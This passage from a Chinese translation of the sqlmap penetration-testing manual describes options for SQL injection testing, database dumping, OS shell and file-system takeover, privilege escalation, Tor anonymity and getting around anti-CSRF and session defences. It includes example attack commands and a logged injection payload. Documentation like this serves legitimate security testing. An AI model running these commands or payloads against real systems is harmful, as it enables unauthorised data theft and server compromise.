    --statements        获取 DBMS 正在执行的 SQL 语句
    -D DB               指定要枚举的 DBMS 数据库
    -T TBL              指定要枚举的 DBMS 数据表
    -C COL              指定要枚举的 DBMS 数据列
    -X EXCLUDE          指定不枚举的 DBMS 标识符
    -U USER             指定枚举的 DBMS 用户
    --exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
    --pivot-column=P..  指定主列
    --where=DUMPWHERE   在转储表时使用 WHERE 条件语句
    --start=LIMITSTART  指定要导出的数据表条目开始行数
    --stop=LIMITSTOP    指定要导出的数据表条目结束行数
    --first=FIRSTCHAR   指定获取返回查询结果的开始字符位
    --last=LASTCHAR     指定获取返回查询结果的结束字符位
    --sql-query=SQLQ..  指定要执行的 SQL 语句
    --sql-shell         调出交互式 SQL shell
    --sql-file=SQLFILE  执行文件中的 SQL 语句

  暴力破解:
    以下选项用于暴力破解测试

    --common-tables     检测常见的表名是否存在
    --common-columns    检测常用的列名是否存在
    --common-files      检测普通文件是否存在

  用户自定义函数注入:
    以下选项用于创建用户自定义函数

    --udf-inject        注入用户自定义函数
    --shared-lib=SHLIB  共享库的本地路径

  访问文件系统:
    以下选项用于访问后端 DBMS 的底层文件系统

    --file-read=FILE..  读取后端 DBMS 文件系统中的文件
    --file-write=FIL..  写入到后端 DBMS 文件系统中的文件
    --file-dest=FILE..  使用绝对路径写入到后端 DBMS 中的文件

  访问操作系统:
    以下选项用于访问后端 DBMS 的底层操作系统

    --os-cmd=OSCMD      执行操作系统命令
    --os-shell          调出交互式操作系统 shell
    --os-pwn            调出 OOB shell,Meterpreter 或 VNC
    --os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
    --os-bof            利用存储过程的缓冲区溢出
    --priv-esc          数据库进程用户提权
    --msf-path=MSFPATH  Metasploit 框架的本地安装路径
    --tmp-path=TMPPATH  远程临时文件目录的绝对路径

  访问 Windows 注册表:
    以下选项用于访问后端 DBMS 的 Windows 注册表

    --reg-read          读取一个 Windows 注册表键值
    --reg-add           写入一个 Windows 注册表键值数据
    --reg-del           删除一个 Windows 注册表键值
    --reg-key=REGKEY    指定 Windows 注册表键
    --reg-value=REGVAL  指定 Windows 注册表键值
    --reg-data=REGDATA  指定 Windows 注册表键值数据
    --reg-type=REGTYPE  指定 Windows 注册表键值类型

  通用选项:
    以下选项用于设置通用的参数

    -s SESSIONFILE      从文件(.sqlite)中读入会话信息
    -t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
    --answers=ANSWERS   预设回答(例如:"quit=N,follow=N")
    --base64=BASE64P..  表明参数包含 Base64 编码的数据
    --base64-safe       使用 URL 与文件名安全的 Base64 字母表(RFC 4648)
    --batch             从不询问用户输入,使用默认配置
    --binary-fields=..  具有二进制值的结果字段(例如:"digest")
    --check-internet    在访问目标之前检查是否正常连接互联网
    --cleanup           清理 DBMS 中特定的 sqlmap UDF 与数据表
    --crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
    --crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
    --csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
    --charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
    --dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
    --encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
    --eta               显示每个结果输出的预计到达时间
    --flush-session     清空当前目标的会话文件
    --forms             解析并测试目标 URL 的表单
    --fresh-queries     忽略存储在会话文件中的查询结果
    --gpage=GOOGLEPAGE  指定所用 Google dork 结果的页码
    --har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
    --hex               获取数据时使用 hex 转换
    --output-dir=OUT..  自定义输出目录路径
    --parse-errors      从响应中解析并显示 DBMS 错误信息
    --preprocess=PRE..  使用给定脚本做前处理(请求)
    --postprocess=PO..  使用给定脚本做后处理(响应)
    --repair            重新导出具有未知字符的数据(?)
    --save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
    --scope=SCOPE       用正则表达式过滤目标
    --skip-heuristics   不对 SQLi/XSS 漏洞进行启发式检测
    --skip-waf          不对 WAF/IPS 进行启发式检测
    --table-prefix=T..  指定临时数据表名前(默认:"sqlmap")
    --test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
    --test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
    --web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
    

  杂项:
    以下选项不属于前文的任何类别

    -z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
    --alert=ALERT       在找到 SQL 注入时运行 OS 命令
    --beep              在问题提示或在发现 SQL 注入/XSS/FI 时发出提示音
    --dependencies      检查 sqlmap 缺少(可选)的依赖
    --disable-coloring  关闭彩色控制台输出
    --offline           在离线模式下工作(仅使用会话数据)
    --purge             安全删除 sqlmap data 目录所有内容
    --results-file=R..  指定多目标模式下的 CSV 结果输出路径
    --shell             调出交互式 sqlmap shell
    --tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
    --unstable          为不稳定连接调整选项
    --update            更新 sqlmap
    --wizard            适合初级用户的向导界面

输出详细等级

译自:Output verbosity

选项:-v

该选项用于设置输出信息的详细等级,共有七个级别。默认级别为 1,输出包括普通信息,警告,错误,关键信息和 Python 出错回遡信息(如果有的话)。

  • 0:只输出 Python 出错回溯信息,错误和关键信息。
  • 1:增加输出普通信息和警告信息。
  • 2:增加输出调试信息。
  • 3:增加输出已注入的 payloads。
  • 4:增加输出 HTTP 请求。
  • 5:增加输出 HTTP 响应头
  • 6:增加输出 HTTP 响应内容。

使用等级 2 能更好地了解 sqlmap 内部实现了什么,特别是在检测阶段和使用接管功能时。如果你想知道 sqlmap 发送了什么 SQL payloads,等级 3 是最佳选择。在你为开发者系统提供潜在的 Bug 报告时,推荐使用这个等级,同时附加上使用选项 -t 生成的流量日志文件标准输出文件。

需要更深入地检测潜在 Bugs 或应对未知情况时,推荐使用 4 或以上等级。应当注意,还可以使用该选项的短名称来设置详细等级,其中提供的开关(而不是选项)用字母 v 的个数来确定详细等级(例如:用 -v 代替 -v 2,用 -vv 代替 -v 3,用 -vvv 代替 -v 4,依此类推)。

目标

译自:Target

至少提供以下其中一个选项,用于指定目标。

直连数据库

选项:-d

针对单一数据库实例运行 sqlmap 工具。这个选项可设置为下面格式的连接字符串:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)
  • DBMS://DATABASE_FILEPATH(SQLite,Microsoft Access,Firebird 等。)

例如:

python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --bann\
er --dbs --users

目标 URL

选项:-u--url

针对单一目标 URL 运行 sqlmap。这个选项可设置为下面格式的 URL:

http(s)://targeturl[:port]/[...]

例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

从 Burp 或 WebScarab 代理日志解析目标

选项:-l

除了可以提供单个目标 URL,还可以测试并注入 Burp 代理或者 WebScarab 代理代理的 HTTP 请求。使用这个参数时,需要提供代理 HTTP 请求的日志文件。

从给定的文本文件读取多个目标进行扫描

选项:-m

通过文本文件提供一个目标 URLs 列表,sqlmap 会逐个进行扫描检测。

样本文件所提供的 URLs 列表示例:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件中载入 HTTP 请求

选项:-r

sqlmap 可以从一个文本中读取原始的 HTTP 请求。通过这种方式,你能够免于设置部分选项(例如:设置 cookies,POST 数据等参数)。

HTTP 请求文件数据样本如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1

2如果相关的请求是 HTTPS,你可以结合 --force-ssl 开关强制使用 SSL 进行 443/tcp 连接。或者,你可以在 Host 头部信息后面直接加上 :443

从管道输入(如 stdin)中解析目标地址

尽管 sqlmap 已经能自动爬取目标,为满足用户的其他偏好,用户可以将从其他工具(例如,waybackurls)获取的目标地址作为管道输入提供给 sqlmap。值得注意的是,这类内容中的链接会被自动解析,因此输入格式不受限制。

例如:

waybackurls www.target.com | python sqlmap.py

使用 Google dork 结果作为目标地址

选项:-g

sqlmap 同时支持根据 Google dork 返回结果测试并注入 GET 参数。

这个选项使得 sqlmap 能够和搜索引擎当前会话 cookies 进行内容交互,进行相关的搜索操作。然后 sqlmap 会获取 Google dork 表达式筛选出的前 100 个返回结果及附带的 GET 参数,并且询问你是否对每个可能存在注入的 URL 进行测试注入。

例如:

python sqlmap.py -g "inurl:\".php?id=1\""

从 INI 配置文件中读取选项

选项:-c

sqlmap 支持从 INI 配置文件中读取用户的选项配置,例如:sqlmap.conf

需要注意的是,如果你在命令行调用时,同时提供了相关的选项设置,则配置文件中的选项会被覆盖失效。

请求

译自:Request

以下选项用于指定如何连接目标 URL。

HTTP 方法

选项:--method

sqlmap 能自动检测 HTTP 请求中使用的 HTTP 方法。然而在某些情况下,可能需要强制指定使用 sqlmap 自动化不会使用的 HTTP 方法(例如:PUT)。因而该选项是可能被用到的(例如:--method=PUT)。

HTTP 数据

选项:--data

HTTP 请求默认使用的方法是 GET,你可以通过在请求中提供对应发送的数据隐式地将 GET 改成 POST。对应参数也会像 GET 参数一样,用于测试是否存在 SQL 注入的可能。

例如:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

参数分隔符

选项:--param-del

有些情况下,需要覆盖默认参数分隔符(例如:在 GET 和 POST 数据中的 &),以便 sqlmap 能够正确切割并处理每个参数。

例如:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

选项和开关:--cookie--cookie-del--live-cookies--load-cookies--drop-set-cookie

这些选项和开关可用于以下两种情况:

  • Web 应用程序需要基于 cookies 的身份验证,并且你知道对应的参数。
  • 你想对相关的 HTTP 头部进行检测和 SQL 注入。

不管是哪种情况,你需要使用 sqlmap 发送带有 cookies 的请求,步骤如下:

  • 使用你最喜欢的浏览器登录该应用。
  • 从浏览器的选项或 HTTP 代理中复制 Cookie。
  • 回到 shell 并使用复制的 cookies 作为选项 --cookie 的值运行 sqlmap。

注意,HTTP Cookie 值通常由字符 ; 分隔,而不是使用 &。sqlmap 也可以将它们识别为 parameter=value 即参数值对,对应的 GET 和 POST 参数也一样。如果分隔字符不是 ;,则可以使用选项 --cookie-del 来指定。

在通信期间的任何时刻,如果 Web 应用程序的响应包含 Set-Cookie 响应头,sqlmap 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie 的值。sqlmap 也将自动测试这些值是否存在 SQL 注入漏洞。这个特性可以通过提供开关 --drop-set-cookie 来关闭——sqlmap 则会忽略任何 Set-Cookie 响应头。

反之亦然,如果你提供一个带有选项 --cookie 的 HTTP Cookie 请求头,并且目标 URL 在任何时候都发送一个 HTTP Set-Cookie 响应头,sqlmap 会询问你使用哪一组 cookies 来用于接下来的 HTTP 请求。

选项 --live-cookies 可用于提供一个 cookies 文件,该文件可用于加载最新的 cookies 值。这意味着它会在每个请求发起之前被读取,以获取最新的 HTTP Cookie 头部。

还有一个选项 --load-cookies,可以从包含 Netscape/wget 格式 cookies 的特殊文件中读取 cookies。

注意,如果 --level 设置为 2 或更高,则 sqlmap 会对 HTTP Cookie 请求头进行 SQL 注入测试。详情请看下文。

HTTP User-Agent 请求头

选项和开关:--user-agent--random-agent

默认情况下,sqlmap 使用以下 User-Agent 请求头值执行 HTTP 请求:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

不过,可以通过提供自定义 User-Agent 作为选项的参数,即选项 --user-agent 来伪造它。

此外,如果通过提供开关 --random-agent,sqlmap 将从 ./txt/user-agents.txt 文本文件中随机选择一个 User-Agent,并将其用于该会话中的所有 HTTP 请求。

一些站点会对 HTTP User-Agent 请求头值进行服务端检查,如果没有提供有效的 User-Agent,它的值不是常规值或被 Web 应用程序防火墙或类似防御系统列入黑名单,则服务端会拒绝 HTTP 响应。在这种情况下,sqlmap 将显示如下信息:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
译:
[hh:mm:20] [错误] 目标网址回复了未知的 HTTP 状态码,请尝试使用选项 --user-agent 或
--random-agent 强制指定 HTTP User-Agent 请求头

注意,如果 --level 设置为 3 或以上,sqlmap 会对 HTTP User-Agent 请求头进行 SQL 注入测试。详情请看下文。

HTTP Host 请求头

选项:--host

你可以手动设置 HTTP Host 请求头值。默认情况下,HTTP Host 请求头从提供的目标 URL 中解析。

注意,如果 --level 设置为 5 或以上,sqlmap 会对 HTTP User-Agent 请求头进行 SQL 注入测试。详情请看下文。

HTTP Referer 请求头

选项:--referer

支持伪造 HTTP Referer 请求头值。如果没有进行显式设置,默认情况下不会在 HTTP 请求中发送 HTTP Referer 请求头。

注意,如果 --level 设置为 3 或更高,sqlmap 会对 HTTP Referer 请求头进行 SQL 注入测试。详情请看下文。

额外的 HTTP 请求头

选项:--headers

可以通过设置选项 --headers 来提供额外的 HTTP 请求头。每个请求头必须用换行符分隔,更好的方式是从 INI 配置文件读取。你可以看看范本 sqlmap.conf 文件中的例子。

针对 MySQL 目标的示例:

python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP 协议认证

选项:--auth-type--auth-cred

这些选项用于指定后端 Web 服务器实现的 HTTP 协议认证和所有向目标程序发起 HTTP 请求的有效凭据。

支持的三种 HTTP 协议认证机制是:

  • Basic
  • Digest
  • NTLM

认证凭据的语法是 username:password

一个符合语法的例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP 协议私钥认证

选项:--auth-file

当 Web 服务器需要正确的客户端证书和私钥进行身份验证时,应使用此选项。提供的值应为包含证书和私钥的 PEM 格式文件 key_file

生成适用于 --auth-file 选项的 key_file.txt 文件示例:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----

忽略(有问题的)HTTP 错误码

选项 --ignore-code

如果你测试的目标站点会偶尔返回 HTTP 错误码,这将影响 sqlmap 的正常运行(例如:401(未授权)),如果你想忽略它并继续测试,可以使用 --ignore-code 选项

HTTP(S) 代理

选项和开关:--proxy--proxy-cred--proxy-file--ignore-proxy

可以使用选项 --proxy 并提供 HTTP(S) 代理地址使 HTTP(S) 请求经过该代理到达目标 URL。设置 HTTP(S) 代理的语法是 http://url:port

如果 HTTP(S) 代理需要身份验证,则可以对选项 --proxy-cred 使用 username:password 格式添加对应的凭证。

如果要使用(不稳定的)代理列表,在可能出现连接问题(例如:阻止侵入性 IP 地址)出现时跳过并使用下一个代理,可以使用选项 --proxy-file 并指定包含批量代理的文件。

当你想要使用 sqlmap 对本地局域网目标进行测试时应该使用开关 --ignore-proxy 来绕过系统级的 HTTP(S) 代理服务。

Tor 匿名网络

开关和选项:--tor--tor-port--tor-type--check-tor

假如因为相关原因需要保持匿名,可以根据 Tor 安装指南配置一个 Tor 客户端Privoxy(或类似的)进行代理,而不是使用单个预定义的 HTTP(S) 代理服务器。接着就可以使用开关 --tor 来让 sqlmap 尝试自动设置 Tor 代理连接。

如果你想手动设置 Tor 代理的类型和端口,可以使用选项 --tor-type--tor-port(例如:--tor-type=SOCKS5 --tor-port 9050)。

强烈建议偶尔使用 --check-tor 来确保一切设置正确。有些情况下 Tor 包(例如:Vidalia(译者注:Vidalia 是 Tor 的图形界面管理工具,官方已经移除对它的支持))配置错误(或重置了以前的配置)会使你以为已经成功匿名。使用这个开关,sqlmap 将在对任何目标发起请求之前发送一个请求到你正在使用 Tor?这个官方页面检查一切配置是否正常。如果检查失败,sqlmap 将警告你并直接退出。

每个 HTTP 请求之间的延迟

选项:--delay

可以指定每个 HTTP(S) 请求之间等待的秒数。有效值是一个浮点数,例如 0.5 表示半秒。默认情况下,没有设置延迟。

超时连接等待秒数

选项:--timeout

可以指定 HTTP(S) 请求超时的等待秒数。有效值是一个浮点数,例如 10.5 表示十秒半。默认设置是 30 秒

HTTP 连接超时最大重试次数

选项:--retries

可以指定 HTTP(S) 连接超时的最大重试次数。默认情况下,它最多重试三次

随机更改给定参数的值

选项:--randomize

可以指定在每个请求期间需要随机更改其值的参数名称。长度和类型由提供的原始值决定。

使用正则表达式从指定的代理日志中提取目标

选项:--scope

你可以指定有效的 Python 正则表达式用于提取出所需的目标,而不是使用由选项 -l 从日志中解析出的所有主机目标。

有效语法示例:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免因太多失败请求引发会话销毁

选项:--safe-url--safe-post--safe-req--safe-freq

有时,在执行了一定数量的失败请求后会被 Web 应用或检测技术销毁相关会话。这可能发生在 sqlmap 的检测阶段,或者在它利用任何 SQL 盲注时。原因是 SQL payloads 不一定会返回输出,因此这可能会向应用会话管理或检测技术暴露出特征。

要绕过目标站点设置的这种限制,你可以提供任何(或组合)以下选项:

  • --safe-url:测试期间可以安全频繁访问的 URL 地址。
  • --safe-post:使用 HTTP POST 发送数据到一个安全的 URL 地址。
  • --safe-req:从文件中加载并使用安全的 HTTP 请求。
  • --safe-freq:交替执行指定的安全地址访问和目标测试请求。

这样,sqlmap 将访问每个定义好数量请求的某个_安全_ URL,而不对其执行任何类型的注入。

关闭对参数值的 URL 编码

开关:--skip-urlencode

根据参数的位置(例如:GET),其值可能会被默认进行 URL 编码。在某些情况下,后端 Web 服务器不遵循 RFC 标准,并要求以原始非编码形式发送参数值。在这种情况下可以使用 --skip-urlencode

绕过反 CSRF 防护

选项:--csrf-token--csrf-url

许多站点有使用 token 的反 CSRF 防护,在每个页面的响应随机设置隐藏字段值。sqlmap 将自动尝试识别并绕过这种防护,同时支持 --csrf-token--csrf-url 等选项用来做进一步调整。选项 --csrf-token 用于设置包含随机 token 的隐藏字段的名称。这在网站对这些字段使用非标准名称的情况下是非常有用的。选项 --csrf-url 用于从任意有效的 URL 地址获取 token 值。这在目标网址在初始地不包含必需的 token 值,而需要从其他地方提取时是非常有用的。

强制使用 SSL/HTTPS

开关:--force-ssl

如果想要对目标强制使用 SSL/HTTPS 请求,可以使用此开关。在使用选项 --crawl 收集 URLs 或者使用选项 -l 提供 Burp 日志时,该开关是很有用的。

在每个请求期间运行自定义的 Python 代码

选项:--eval

在可能因为一些已知的依赖而想要更改(或添加新的)参数值的情况下,可以使用选项 --eval 为 sqlmap 提供自定义的 python 代码,代码将在每个请求之前运行。

例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

每个像这样的请求会使用当前 GET 请求中的 id 参数值重新计算出对应的 MD5 哈希值,从而替换掉原来的 hash 参数值。

优化

译自:Optimization

下面的开关可以用于优化 sqlmap 的性能表现。

批量优化

开关:-o

设置这个开关表示隐含开启下面对应的选项和开关:

  • --keep-alive
  • --null-connection
  • --threads=3 默认值,可以设置更大值。

查看下面内容获取更多关于开关设置的详情。

输出预测

开关:--predict-output

这个开关用于推导算法,可对获取的数据特性进行线性数据分析预测。根据 txt/common-outputs.txt 里面的条目及集合论相关知识预测并给出可能性最高的字符数理统计表。如果目标字符值可以在最常见的输出结果中找到,那么接下来的字符数理统计表范围会逐渐缩小。配合从 DBMS(Database Management System,数据库管理系统)中获取的实例、表名和对应的权限,那么加速效果会显著提高。当然,你可以根据自身需求对常见的输出文件进行编辑,例如,你发现了数据库表名的常见模式或者其他模式。

值得注意的是,这个开关不能够和 --threads 一起使用。

HTTP Keep-Alive

开关:--keep-alive

这个开关参数设置 sqlmap 使用 HTTP(s) 持久化连接。

值得注意的是,这个开关不能够和 --proxy 一起使用。

HTTP NULL 连接

开关:--null-connection

在 HTTP 请求中,存在可以获取 HTTP 响应大小而无须获取整个 HTTP 实体的特殊类型。这个技术可用于 SQL 盲注中,以区分响应结果是 True 还是 False。如果开启了这个开关,sqlmap 会测试并利用两种不同的 NULL 连接技术:RangeHEAD。如果目标服务器能够满足其中之一的请求方式,那将能够减小使用的带宽,加速整个测试过程。

这些技术的相关详情可见白皮书提升 SQL 盲注的性能——Take 2(带宽)

值得注意的是,这个开关不能和 --text-only 一起使用。

并发 HTTP(S) 请求

选项:--threads

sqlmap 中支持设定 HTTP(S) 请求最大并发数。 这个特性依赖于多线程,因而继承了多线程的优点和缺陷。

